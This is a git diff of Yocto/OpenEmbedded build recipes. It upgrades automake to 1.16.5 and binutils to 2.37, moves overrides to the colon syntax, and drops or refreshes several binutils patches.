diff --git a/meta/recipes-devtools/automake/automake_1.16.2.bb b/meta/recipes-devtools/automake/automake_1.16.2.bb
deleted file mode 100644
index fd8ed0ed3b..0000000000
--- a/meta/recipes-devtools/automake/automake_1.16.2.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-require automake.inc
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-DEPENDS_class-native = "autoconf-native"
-
-NAMEVER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-RDEPENDS_${PN} += "\
- autoconf \
- perl \
- perl-module-bytes \
- perl-module-data-dumper \
- perl-module-strict \
- perl-module-text-parsewords \
- perl-module-thread-queue \
- perl-module-threads \
- perl-module-vars "
-
-RDEPENDS_${PN}_class-native = "autoconf-native hostperl-runtime-native"
-RDEPENDS_${PN}_class-nativesdk = "nativesdk-autoconf"
-
-SRC_URI += "file://python-libdir.patch \
- file://buildtest.patch \
- file://performance.patch \
- file://new_rt_path_for_test-driver.patch \
- file://automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch \
- file://0001-automake-Add-default-libtool_tag-to-cppasm.patch \
- file://0001-build-fix-race-in-parallel-builds.patch \
- "
-
-SRC_URI[md5sum] = "f1a14f2ab2b0fb861a011e1d94e589e0"
-SRC_URI[sha256sum] = "b2f361094b410b4acbf4efba7337bdb786335ca09eb2518635a09fb7319ca5c1"
-
-PERL = "${USRBINPATH}/perl"
-PERL_class-native = "${USRBINPATH}/env perl"
-PERL_class-nativesdk = "${USRBINPATH}/env perl"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='${PERL}'"
-
-do_install_append () {
- install -d ${D}${datadir}
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/automake/automake_1.16.5.bb b/meta/recipes-devtools/automake/automake_1.16.5.bb
new file mode 100644
index 0000000000..6a9c185e4d
--- /dev/null
+++ b/meta/recipes-devtools/automake/automake_1.16.5.bb
@@ -0,0 +1,42 @@
+require automake.inc
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+DEPENDS:class-native = "autoconf-native"
+
+NAMEVER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+RDEPENDS:${PN} += "\
+ autoconf \
+ perl \
+ perl-module-bytes \
+ perl-module-data-dumper \
+ perl-module-strict \
+ perl-module-text-parsewords \
+ perl-module-thread-queue \
+ perl-module-threads \
+ perl-module-vars "
+
+RDEPENDS:${PN}:class-native = "autoconf-native hostperl-runtime-native"
+
+SRC_URI += "\
+ file://0001-automake-Update-for-python.m4-to-respect-libdir.patch \
+ file://buildtest.patch \
+ file://performance.patch \
+ file://new_rt_path_for_test-driver.patch \
+ file://0001-automake-Add-default-libtool_tag-to-cppasm.patch \
+ file://0001-build-fix-race-in-parallel-builds.patch \
+ "
+
+SRC_URI[sha256sum] = "07bd24ad08a64bc17250ce09ec56e921d6343903943e99ccf63bbf0705e34605"
+
+PERL = "${USRBINPATH}/perl"
+PERL:class-native = "${USRBINPATH}/env perl"
+PERL:class-nativesdk = "${USRBINPATH}/env perl"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='${PERL}'"
+
+do_install:append () {
+ install -d ${D}${datadir}
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/binutils/binutils-2.35.inc b/meta/recipes-devtools/binutils/binutils-2.35.inc
deleted file mode 100644
index aa02063b19..0000000000
--- a/meta/recipes-devtools/binutils/binutils-2.35.inc
+++ /dev/null
@@ -1,47 +0,0 @@
-LIC_FILES_CHKSUM="\
- file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552\
- file://COPYING.LIB;md5=9f604d8a4f8e74f4f5140845a21b6674\
- file://COPYING3;md5=d32239bcb673463ab874e80d47fae504\
- file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6\
- file://gas/COPYING;md5=d32239bcb673463ab874e80d47fae504\
- file://include/COPYING;md5=59530bdf33659b29e73d4adb9f9f6552\
- file://include/COPYING3;md5=d32239bcb673463ab874e80d47fae504\
- file://libiberty/COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7\
- file://bfd/COPYING;md5=d32239bcb673463ab874e80d47fae504\
- "
-
-def binutils_branch_version(d):
- pvsplit = d.getVar('PV').split('.')
- return pvsplit[0] + "_" + pvsplit[1]
-
-# When upgrading to 2.35, please make sure there is no trailing .0, so
-# that upstream version check can work correctly.
-PV = "2.35"
-CVE_VERSION = "2.35"
-BINUPV = "${@binutils_branch_version(d)}"
-#BRANCH = "binutils-${BINUPV}-branch"
-BRANCH ?= "binutils-2_35-branch"
-
-UPSTREAM_CHECK_GITTAGREGEX = "binutils-(?P<pver>\d+_(\d_?)*)"
-
-SRCREV ?= "89a9065674a14a8bd94bb326b27d19a2f3583efb"
-BINUTILS_GIT_URI ?= "git://sourceware.org/git/binutils-gdb.git;branch=${BRANCH};protocol=git"
-SRC_URI = "\
- ${BINUTILS_GIT_URI} \
- file://0004-configure-widen-the-regexp-for-SH-architectures.patch \
- file://0005-Point-scripts-location-to-libdir.patch \
- file://0006-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch \
- file://0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch \
- file://0008-warn-for-uses-of-system-directories-when-cross-linki.patch \
- file://0009-Change-default-emulation-for-mips64-linux.patch \
- file://0010-Add-support-for-Netlogic-XLP.patch \
- file://0011-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch \
- file://0012-Detect-64-bit-MIPS-targets.patch \
- file://0013-Use-libtool-2.4.patch \
- file://0014-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch \
- file://0015-sync-with-OE-libtool-changes.patch \
- file://0016-Check-for-clang-before-checking-gcc-version.patch \
- file://0017-gas-improve-reproducibility-for-stabs-debugging-data.patch \
- file://0001-aarch64-Return-an-error-on-conditional-branch-to-an-.patch \
-"
-S = "${WORKDIR}/git"
diff --git a/meta/recipes-devtools/binutils/binutils-2.37.inc b/meta/recipes-devtools/binutils/binutils-2.37.inc
new file mode 100644
index 0000000000..fca4a80ad2
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils-2.37.inc
@@ -0,0 +1,37 @@
+LIC_FILES_CHKSUM="\
+ file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552\
+ file://COPYING.LIB;md5=9f604d8a4f8e74f4f5140845a21b6674\
+ file://COPYING3;md5=d32239bcb673463ab874e80d47fae504\
+ file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6\
+ file://gas/COPYING;md5=d32239bcb673463ab874e80d47fae504\
+ file://include/COPYING;md5=59530bdf33659b29e73d4adb9f9f6552\
+ file://include/COPYING3;md5=d32239bcb673463ab874e80d47fae504\
+ file://libiberty/COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7\
+ file://bfd/COPYING;md5=d32239bcb673463ab874e80d47fae504\
+ "
+
+# When upgrading to 2.37, please make sure there is no trailing .0, so
+# that upstream version check can work correctly.
+PV = "2.37"
+CVE_VERSION = "2.37"
+SRCBRANCH ?= "binutils-2_37-branch"
+
+UPSTREAM_CHECK_GITTAGREGEX = "binutils-(?P<pver>\d+_(\d_?)*)"
+
+SRCREV ?= "87d4632d36323091e731eb07b8aa65f90293da66"
+BINUTILS_GIT_URI ?= "git://sourceware.org/git/binutils-gdb.git;branch=${SRCBRANCH};protocol=git"
+SRC_URI = "\
+ ${BINUTILS_GIT_URI} \
+ file://0005-Point-scripts-location-to-libdir.patch \
+ file://0006-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch \
+ file://0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch \
+ file://0008-warn-for-uses-of-system-directories-when-cross-linki.patch \
+ file://0011-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch \
+ file://0013-Use-libtool-2.4.patch \
+ file://0014-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch \
+ file://0015-sync-with-OE-libtool-changes.patch \
+ file://0016-Check-for-clang-before-checking-gcc-version.patch \
+ file://0017-bfd-Close-the-file-descriptor-if-there-is-no-archive.patch \
+ file://0001-elf-Discard-input-.note.gnu.build-id-sections.patch \
+"
+S = "${WORKDIR}/git"
diff --git a/meta/recipes-devtools/binutils/binutils-cross-canadian.inc b/meta/recipes-devtools/binutils/binutils-cross-canadian.inc
index e98f31f9c3..f44f46602d 100644
--- a/meta/recipes-devtools/binutils/binutils-cross-canadian.inc
+++ b/meta/recipes-devtools/binutils/binutils-cross-canadian.inc
@@ -13,7 +13,7 @@ EXTRA_OECONF += "--with-sysroot=${SDKPATH}/sysroots/${TUNE_PKGARCH}${TARGET_VEND
# e.g. we switch between different machines with different tunes.
EXTRA_OECONF[vardepsexclude] = "TUNE_PKGARCH"
-LDGOLD_sdkmingw32 = ""
+LDGOLD:sdkmingw32 = ""
do_install () {
autotools_do_install
diff --git a/meta/recipes-devtools/binutils/binutils-cross-canadian_2.35.bb b/meta/recipes-devtools/binutils/binutils-cross-canadian_2.37.bb
index 5dbaa03017..5dbaa03017 100644
--- a/meta/recipes-devtools/binutils/binutils-cross-canadian_2.35.bb
+++ b/meta/recipes-devtools/binutils/binutils-cross-canadian_2.37.bb
diff --git a/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.35.bb b/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.35.bb
deleted file mode 100644
index 07a8e7c417..0000000000
--- a/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.35.bb
+++ /dev/null
@@ -1,85 +0,0 @@
-require binutils.inc
-require binutils-${PV}.inc
-
-BPN = "binutils"
-
-DEPENDS += "dejagnu-native expect-native"
-DEPENDS += "binutils-native"
-
-deltask do_compile
-deltask do_install
-
-inherit nopackages
-
-do_configure[dirs] += "${B}/ld ${B}/bfd"
-do_configure() {
- # create config.h, oe enables initfini-array by default
- echo "#define HAVE_INITFINI_ARRAY" > ${B}/ld/config.h
- # use the bfd_stdint.h from binutils-native, this is the same of the one
- # generated by binutils-cross
- cp ${RECIPE_SYSROOT_NATIVE}/usr/include/bfd_stdint.h ${B}/bfd/
-}
-
-# target depends
-DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}binutils"
-DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}gcc"
-DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs"
-DEPENDS += "virtual/${MLPREFIX}libc"
-
-python check_prepare() {
- def suffix_sys(sys):
- if sys.endswith("-linux"):
- return sys + "-gnu"
- return sys
-
- def generate_site_exp(d, suite):
- content = []
- content.append('set srcdir "{0}/{1}"'.format(d.getVar("S"), suite))
- content.append('set objdir "{0}/{1}"'.format(d.getVar("B"), suite))
- content.append('set build_alias "{0}"'.format(d.getVar("BUILD_SYS")))
- content.append('set build_triplet {0}'.format(d.getVar("BUILD_SYS")))
- # use BUILD here since HOST=TARGET
- content.append('set host_alias "{0}"'.format(d.getVar("BUILD_SYS")))
- content.append('set host_triplet {0}'.format(d.getVar("BUILD_SYS")))
- content.append('set target_alias "{0}"'.format(d.getVar("TARGET_SYS")))
- content.append('set target_triplet {0}'.format(suffix_sys(d.getVar("TARGET_SYS"))))
- content.append("set development true")
- content.append("set experimental false")
-
- content.append(d.expand('set CXXFILT "${TARGET_PREFIX}c++filt"'))
- content.append(d.expand('set CC "${TARGET_PREFIX}gcc --sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
- content.append(d.expand('set CXX "${TARGET_PREFIX}g++ --sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
- content.append(d.expand('set CFLAGS_FOR_TARGET "--sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
-
- if suite == "ld" and d.getVar("TUNE_ARCH") == "mips64":
- # oe patches binutils to have the default mips64 abi as 64bit, but
- # skips gas causing issues with the ld test suite (which uses gas)
- content.append('set ASFLAGS "-64"')
-
- return "\n".join(content)
-
- for i in ["binutils", "gas", "ld"]:
- builddir = os.path.join(d.getVar("B"), i)
- if not os.path.isdir(builddir):
- os.makedirs(builddir)
- with open(os.path.join(builddir, "site.exp"), "w") as f:
- f.write(generate_site_exp(d, i))
-}
-
-CHECK_TARGETS ??= "binutils gas ld"
-
-do_check[dirs] = "${B} ${B}/binutils ${B}/gas ${B}/ld"
-do_check[prefuncs] += "check_prepare"
-do_check[nostamp] = "1"
-do_check() {
- export LC_ALL=C
- for i in ${CHECK_TARGETS}; do
- (cd ${B}/$i; runtest \
- --tool $i \
- --srcdir ${S}/$i/testsuite \
- --ignore 'plugin.exp' \
- || true)
- done
-}
-addtask check after do_configure
-
diff --git a/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.37.bb b/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.37.bb
new file mode 100644
index 0000000000..ca99e91130
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils-cross-testsuite_2.37.bb
@@ -0,0 +1,81 @@
+require binutils.inc
+require binutils-${PV}.inc
+
+BPN = "binutils"
+
+DEPENDS += "dejagnu-native expect-native"
+DEPENDS += "binutils-native"
+
+deltask do_compile
+deltask do_install
+
+inherit nopackages
+
+do_configure[dirs] += "${B}/ld ${B}/bfd"
+do_configure() {
+ # create config.h, oe enables initfini-array by default
+ echo "#define HAVE_INITFINI_ARRAY" > ${B}/ld/config.h
+}
+
+# target depends
+DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}binutils"
+DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}gcc"
+DEPENDS += "virtual/${MLPREFIX}${TARGET_PREFIX}compilerlibs"
+DEPENDS += "virtual/${MLPREFIX}libc"
+
+python check_prepare() {
+ def suffix_sys(sys):
+ if sys.endswith("-linux"):
+ return sys + "-gnu"
+ return sys
+
+ def generate_site_exp(d, suite):
+ content = []
+ content.append('set srcdir "{0}/{1}"'.format(d.getVar("S"), suite))
+ content.append('set objdir "{0}/{1}"'.format(d.getVar("B"), suite))
+ content.append('set build_alias "{0}"'.format(d.getVar("BUILD_SYS")))
+ content.append('set build_triplet {0}'.format(d.getVar("BUILD_SYS")))
+ # use BUILD here since HOST=TARGET
+ content.append('set host_alias "{0}"'.format(d.getVar("BUILD_SYS")))
+ content.append('set host_triplet {0}'.format(d.getVar("BUILD_SYS")))
+ content.append('set target_alias "{0}"'.format(d.getVar("TARGET_SYS")))
+ content.append('set target_triplet {0}'.format(suffix_sys(d.getVar("TARGET_SYS"))))
+ content.append("set development true")
+ content.append("set experimental false")
+
+ content.append(d.expand('set CXXFILT "${TARGET_PREFIX}c++filt"'))
+ content.append(d.expand('set CC "${TARGET_PREFIX}gcc --sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
+ content.append(d.expand('set CXX "${TARGET_PREFIX}g++ --sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
+ content.append(d.expand('set CFLAGS_FOR_TARGET "--sysroot=${STAGING_DIR_TARGET} ${TUNE_CCARGS}"'))
+
+ if suite == "ld" and d.getVar("TUNE_ARCH") == "mips64":
+ # oe patches binutils to have the default mips64 abi as 64bit, but
+ # skips gas causing issues with the ld test suite (which uses gas)
+ content.append('set ASFLAGS "-64"')
+
+ return "\n".join(content)
+
+ for i in ["binutils", "gas", "ld"]:
+ builddir = os.path.join(d.getVar("B"), i)
+ if not os.path.isdir(builddir):
+ os.makedirs(builddir)
+ with open(os.path.join(builddir, "site.exp"), "w") as f:
+ f.write(generate_site_exp(d, i))
+}
+
+CHECK_TARGETS ??= "binutils gas ld"
+
+do_check[dirs] = "${B} ${B}/binutils ${B}/gas ${B}/ld"
+do_check[prefuncs] += "check_prepare"
+do_check[nostamp] = "1"
+do_check() {
+ export LC_ALL=C
+ for i in ${CHECK_TARGETS}; do
+ (cd ${B}/$i; runtest \
+ --tool $i \
+ --srcdir ${S}/$i/testsuite \
+ --ignore 'plugin.exp' \
+ || true)
+ done
+}
+addtask check after do_configure
diff --git a/meta/recipes-devtools/binutils/binutils-cross_2.35.bb b/meta/recipes-devtools/binutils/binutils-cross_2.37.bb
index fbd1f7d25a..fbd1f7d25a 100644
--- a/meta/recipes-devtools/binutils/binutils-cross_2.35.bb
+++ b/meta/recipes-devtools/binutils/binutils-cross_2.37.bb
diff --git a/meta/recipes-devtools/binutils/binutils-crosssdk_2.35.bb b/meta/recipes-devtools/binutils/binutils-crosssdk_2.35.bb
deleted file mode 100644
index 37f4d6d2e9..0000000000
--- a/meta/recipes-devtools/binutils/binutils-crosssdk_2.35.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require binutils-cross_${PV}.bb
-
-inherit crosssdk
-
-PN = "binutils-crosssdk-${SDK_SYS}"
-
-PROVIDES = "virtual/${TARGET_PREFIX}binutils-crosssdk"
-
-SRC_URI += "file://0001-binutils-crosssdk-Generate-relocatable-SDKs.patch"
-
-do_configure_prepend () {
- sed -i 's#/usr/local/lib /lib /usr/lib#${SDKPATHNATIVE}/lib ${SDKPATHNATIVE}/usr/lib /usr/local/lib /lib /usr/lib#' ${S}/ld/configure.tgt
-}
diff --git a/meta/recipes-devtools/binutils/binutils-crosssdk_2.37.bb b/meta/recipes-devtools/binutils/binutils-crosssdk_2.37.bb
new file mode 100644
index 0000000000..5bd036fd46
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils-crosssdk_2.37.bb
@@ -0,0 +1,13 @@
+require binutils-cross_${PV}.bb
+
+inherit crosssdk
+
+PN = "binutils-crosssdk-${SDK_SYS}"
+
+PROVIDES = "virtual/${TARGET_PREFIX}binutils-crosssdk"
+
+SRC_URI += "file://0001-binutils-crosssdk-Generate-relocatable-SDKs.patch"
+
+do_configure:prepend () {
+ sed -i 's#/usr/local/lib /lib /usr/lib#${SDKPATHNATIVE}/lib ${SDKPATHNATIVE}/usr/lib /usr/local/lib /lib /usr/lib#' ${S}/ld/configure.tgt
+}
diff --git a/meta/recipes-devtools/binutils/binutils.inc b/meta/recipes-devtools/binutils/binutils.inc
index e93cd50b20..2f65ae5474 100644
--- a/meta/recipes-devtools/binutils/binutils.inc
+++ b/meta/recipes-devtools/binutils/binutils.inc
@@ -13,18 +13,19 @@ LICENSE = "GPLv3"
DEPENDS = "flex-native bison-native zlib-native gnu-config-native autoconf-native"
-inherit autotools gettext multilib_header texinfo
+inherit autotools gettext multilib_header pkgconfig texinfo
-FILES_${PN} = " \
+FILES:${PN} = " \
${bindir}/${TARGET_PREFIX}* \
${libdir}/lib*.so.* \
+ ${libdir}/bfd-plugins/lib*.so \
${libdir}/lib*-${PV}*.so \
${prefix}/${TARGET_SYS}/bin/* \
${bindir}/embedspu"
-RPROVIDES_${PN} += "${PN}-symlinks"
+RPROVIDES:${PN} += "${PN}-symlinks"
-FILES_${PN}-dev = " \
+FILES:${PN}-dev = " \
${includedir} \
${libdir}/*.la \
${libdir}/libbfd.so \
@@ -36,9 +37,9 @@ FILES_${PN}-dev = " \
# list and reuse it.
LDGOLD_ALTS ?= "ld.gold dwp"
-LDGOLD_ALTS_riscv64 = ""
-LDGOLD_ALTS_riscv32 = ""
-LDGOLD_ALTS_libc-glibc_mipsarch = ""
+LDGOLD_ALTS:riscv64 = ""
+LDGOLD_ALTS:riscv32 = ""
+LDGOLD_ALTS:libc-glibc:mipsarch = ""
USE_ALTERNATIVES_FOR = " \
addr2line \
@@ -60,7 +61,7 @@ USE_ALTERNATIVES_FOR = " \
strip \
"
-python do_package_prepend() {
+python do_package:prepend() {
make_alts = d.getVar("USE_ALTERNATIVES_FOR") or ""
prefix = d.getVar("TARGET_PREFIX")
bindir = d.getVar("bindir")
@@ -85,12 +86,12 @@ EXTRA_OECONF = "--program-prefix=${TARGET_PREFIX} \
${@bb.utils.contains('DISTRO_FEATURES', 'multiarch', '--enable-64-bit-bfd', '', d)}"
EXTRA_TARGETS = ""
-EXTRA_TARGETS_x86-64 = " --enable-targets=x86_64-pe,x86_64-pep "
-EXTRA_TARGETS_class-native = ""
+EXTRA_TARGETS:x86-64 = " --enable-targets=x86_64-pe,x86_64-pep "
+EXTRA_TARGETS:class-native = ""
-LDGOLD_class-native = ""
-LDGOLD_class-crosssdk = ""
-LDGOLD_libc-glibc_mipsarch = ""
+LDGOLD:class-native = ""
+LDGOLD:class-crosssdk = ""
+LDGOLD:libc-glibc:mipsarch = ""
LDGOLD ?= "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', '--enable-gold=default --enable-threads', '--enable-gold --enable-ld=default --enable-threads', d)}"
@@ -169,15 +170,13 @@ do_install () {
done
oe_multilib_header bfd.h
- # bfd_stdint.h encodes the compiler name in the header
- sed -i ${D}${includedir}/bfd_stdint.h -e "s,${TARGET_PREFIX},,"
}
inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}_class-target = "${USE_ALTERNATIVES_FOR}"
+ALTERNATIVE:${PN}:class-target = "${USE_ALTERNATIVES_FOR}"
python () {
if bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', True, False, d) and bb.utils.contains_any('TARGET_ARCH', 'riscv32 riscv64', True, False, d):
diff --git a/meta/recipes-devtools/binutils/binutils/0001-aarch64-Return-an-error-on-conditional-branch-to-an-.patch b/meta/recipes-devtools/binutils/binutils/0001-aarch64-Return-an-error-on-conditional-branch-to-an-.patch
deleted file mode 100644
index f46ddab415..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0001-aarch64-Return-an-error-on-conditional-branch-to-an-.patch
+++ /dev/null
@@ -1,135 +0,0 @@
-From c7cd291722779c9d4703ed0010388fe394c644c8 Mon Sep 17 00:00:00 2001
-From: Siddhesh Poyarekar <siddesh.poyarekar@arm.com>
-Date: Tue, 1 Sep 2020 14:25:52 +0530
-Subject: [PATCH] aarch64: Return an error on conditional branch to an undefined symbol
-
-The fix in 7e05773767820b441b23a16628b55c98cb1aef46 introduced a PLT
-for conditional jumps when the target symbol is undefined. This is
-incorrect because conditional branch relocations are not allowed to
-clobber IP0/IP1 and hence, should not result in a dynamic relocation.
-
-Revert that change and in its place, issue an error when the target
-symbol is undefined.
-
-bfd/
-
- 2020-09-10 Siddhesh Poyarekar <siddesh.poyarekar@arm.com>
-
- * elfnn-aarch64.c (elfNN_aarch64_final_link_relocate): Revert
- changes in 7e05773767820b441b23a16628b55c98cb1aef46. Set
- error for undefined symbol in BFD_RELOC_AARCH64_BRANCH19 and
- BFD_RELOC_AARCH64_TSTBR14 relocations.
-
-ld/
-
- 2020-09-10 Siddhesh Poyarekar <siddesh.poyarekar@arm.com>
-
- * testsuite/ld-aarch64/emit-relocs-560.d: Expect error instead
- of valid output.
----
-Upstream-Status: Backport [https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=c7cd291722779c9d4703ed0010388fe394c644c8]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
- bfd/ChangeLog | 7 +++++
- bfd/elfnn-aarch64.c | 37 ++++++++++++-----------
- ld/ChangeLog | 5 +++
- ld/testsuite/ld-aarch64/emit-relocs-560.d | 7 +----
- 4 files changed, 32 insertions(+), 24 deletions(-)
-
-diff --git a/bfd/elfnn-aarch64.c b/bfd/elfnn-aarch64.c
-index 5b4c189b593..a9924e7ec56 100644
---- a/bfd/elfnn-aarch64.c
-+++ b/bfd/elfnn-aarch64.c
-@@ -5447,7 +5447,6 @@ elfNN_aarch64_final_link_relocate (reloc_howto_type *howto,
- bfd_vma orig_value = value;
- bfd_boolean resolved_to_zero;
- bfd_boolean abs_symbol_p;
-- bfd_boolean via_plt_p;
-
- globals = elf_aarch64_hash_table (info);
-
-@@ -5469,8 +5468,6 @@ elfNN_aarch64_final_link_relocate (reloc_howto_type *howto,
- : bfd_is_und_section (sym_sec));
- abs_symbol_p = h != NULL && bfd_is_abs_symbol (&h->root);
-
-- via_plt_p = (globals->root.splt != NULL && h != NULL
-- && h->plt.offset != (bfd_vma) - 1);
-
- /* Since STT_GNU_IFUNC symbol must go through PLT, we handle
- it here if it is defined in a non-shared object. */
-@@ -5806,23 +5803,12 @@ elfNN_aarch64_final_link_relocate (reloc_howto_type *howto,
- value += signed_addend;
- break;
-
-- case BFD_RELOC_AARCH64_BRANCH19:
-- case BFD_RELOC_AARCH64_TSTBR14:
-- /* A conditional branch to an undefined weak symbol is converted to a
-- branch to itself. */
-- if (weak_undef_p && !via_plt_p)
-- {
-- value = _bfd_aarch64_elf_resolve_relocation (input_bfd, bfd_r_type,
-- place, value,
-- signed_addend,
-- weak_undef_p);
-- break;
-- }
-- /* Fall through. */
- case BFD_RELOC_AARCH64_CALL26:
- case BFD_RELOC_AARCH64_JUMP26:
- {
- asection *splt = globals->root.splt;
-+ bfd_boolean via_plt_p =
-+ splt != NULL && h != NULL && h->plt.offset != (bfd_vma) - 1;
-
- /* A call to an undefined weak symbol is converted to a jump to
- the next instruction unless a PLT entry will be created.
-@@ -5903,6 +5889,23 @@ elfNN_aarch64_final_link_relocate (reloc_howto_type *howto,
- bfd_set_error (bfd_error_bad_value);
- return bfd_reloc_notsupported;
- }
-+ value = _bfd_aarch64_elf_resolve_relocation (input_bfd, bfd_r_type,
-+ place, value,
-+ signed_addend,
-+ weak_undef_p);
-+ break;
-+
-+ case BFD_RELOC_AARCH64_BRANCH19:
-+ case BFD_RELOC_AARCH64_TSTBR14:
-+ if (h && h->root.type == bfd_link_hash_undefined)
-+ {
-+ _bfd_error_handler
-+ /* xgettext:c-format */
-+ (_("%pB: conditional branch to undefined symbol `%s' "
-+ "not allowed"), input_bfd, h->root.root.string);
-+ bfd_set_error (bfd_error_bad_value);
-+ return bfd_reloc_notsupported;
-+ }
- /* Fall through. */
-
- case BFD_RELOC_AARCH64_16:
-@@ -7968,8 +7971,6 @@ elfNN_aarch64_check_relocs (bfd *abfd, struct bfd_link_info *info,
- break;
- }
-
-- case BFD_RELOC_AARCH64_BRANCH19:
-- case BFD_RELOC_AARCH64_TSTBR14:
- case BFD_RELOC_AARCH64_CALL26:
- case BFD_RELOC_AARCH64_JUMP26:
- /* If this is a local symbol then we resolve it
-diff --git a/ld/testsuite/ld-aarch64/emit-relocs-560.d b/ld/testsuite/ld-aarch64/emit-relocs-560.d
-index 153532457b4..8751b743bd4 100644
---- a/ld/testsuite/ld-aarch64/emit-relocs-560.d
-+++ b/ld/testsuite/ld-aarch64/emit-relocs-560.d
-@@ -1,8 +1,3 @@
- #source: emit-relocs-560.s
- #ld: -shared
--#readelf: -r
--
--Relocation section '.rela.plt' at offset 0x[0-9a-f]+ contains 2 entries:
-- Offset Info Type Sym. Value Sym. Name \+ Addend
--[0-9a-f]+ 000100000402 R_AARCH64_JUMP_SL 0000000000000000 baz \+ 0
--[0-9a-f]+ 000200000402 R_AARCH64_JUMP_SL 0000000000000000 bar \+ 0
-+#error: .*: conditional branch to undefined symbol `bar' not allowed
---
-2.29.2
-
diff --git a/meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch b/meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch
index 4c1d11291b..53e30a0aaa 100644
--- a/meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch
+++ b/meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch
@@ -1,7 +1,7 @@
-From a0b23b160d6cfa7be4437c6e623633d76395f2ad Mon Sep 17 00:00:00 2001
+From 257ad1ce148417e1cefe2332d8acc5c8216c2522 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 2 Mar 2015 01:58:54 +0000
-Subject: [PATCH 01/16] binutils-crosssdk: Generate relocatable SDKs
+Subject: [PATCH] binutils-crosssdk: Generate relocatable SDKs
This patch will modify the ELF linker scripts so that the crosssdk
linker will generate binaries with a 4096 bytes PT_INTERP section. When the binaries
@@ -21,10 +21,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
3 files changed, 6 insertions(+), 3 deletions(-)
diff --git a/gold/layout.cc b/gold/layout.cc
-index 13e533aaf21..b0afff16e2e 100644
+index a27cb071c75..32b52890b39 100644
--- a/gold/layout.cc
+++ b/gold/layout.cc
-@@ -5019,7 +5019,7 @@ Layout::create_interp(const Target* target)
+@@ -5032,7 +5032,7 @@ Layout::create_interp(const Target* target)
gold_assert(interp != NULL);
}
@@ -34,7 +34,7 @@ index 13e533aaf21..b0afff16e2e 100644
Output_section_data* odata = new Output_data_const(interp, len, 1);
diff --git a/ld/genscripts.sh b/ld/genscripts.sh
-index 03392d265c7..435689ea144 100755
+index 088417ef2d5..46a2db7005c 100755
--- a/ld/genscripts.sh
+++ b/ld/genscripts.sh
@@ -304,6 +304,7 @@ DATA_ALIGNMENT_u="${DATA_ALIGNMENT_u-${DATA_ALIGNMENT_r}}"
@@ -59,10 +59,10 @@ index 03392d265c7..435689ea144 100755
DATA_ALIGNMENT=${DATA_ALIGNMENT_}
RELOCATING=" "
diff --git a/ld/scripttempl/elf.sc b/ld/scripttempl/elf.sc
-index eb74743e5c3..c9a8a47615f 100644
+index 29a8f0781d5..75e46f4adaf 100644
--- a/ld/scripttempl/elf.sc
+++ b/ld/scripttempl/elf.sc
-@@ -143,8 +143,8 @@ if test -z "$DATA_SEGMENT_ALIGN"; then
+@@ -147,8 +147,8 @@ if test -z "$DATA_SEGMENT_ALIGN"; then
DATA_SEGMENT_RELRO_END=". = DATA_SEGMENT_RELRO_END (${SEPARATE_GOTPLT-0}, .);"
fi
fi
@@ -73,6 +73,3 @@ index eb74743e5c3..c9a8a47615f 100644
fi
if test -z "$PLT"; then
